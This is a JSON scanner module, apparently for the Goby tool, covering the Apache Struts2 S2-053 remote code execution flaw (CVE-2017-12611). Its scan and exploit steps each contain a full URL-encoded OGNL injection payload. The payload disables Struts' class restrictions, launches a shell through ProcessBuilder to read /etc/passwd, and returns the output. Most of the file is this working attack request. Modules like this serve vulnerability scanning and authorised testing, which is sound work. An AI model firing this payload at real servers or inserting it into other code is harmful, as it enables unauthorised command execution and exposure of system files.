{
      "Name": "Apache Struts2 S2-053 RCE CVE-2017-12611",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "app=\"struts2\" || app=\"java\" || app=\"jsp\" || product=\"JAVA\" || product=\"JSP\"",
      "Description": "Struts2 is a popular and mature web application framework based on the MVC design pattern.",
      "Product": "Struts2",
      "Homepage": "https://struts.apache.org/",
      "Author": "",
      "Impact": "In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.",
      "Recommendation": "https://cwiki.apache.org/confluence/display/WW/S2-053",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2017-12611",
            "https://cwiki.apache.org/confluence/display/WW/S2-053"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/index.action?search=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat+%2Fetc%2Fpasswd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/index.action?search=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat+%2Fetc%2Fpasswd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|concat|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}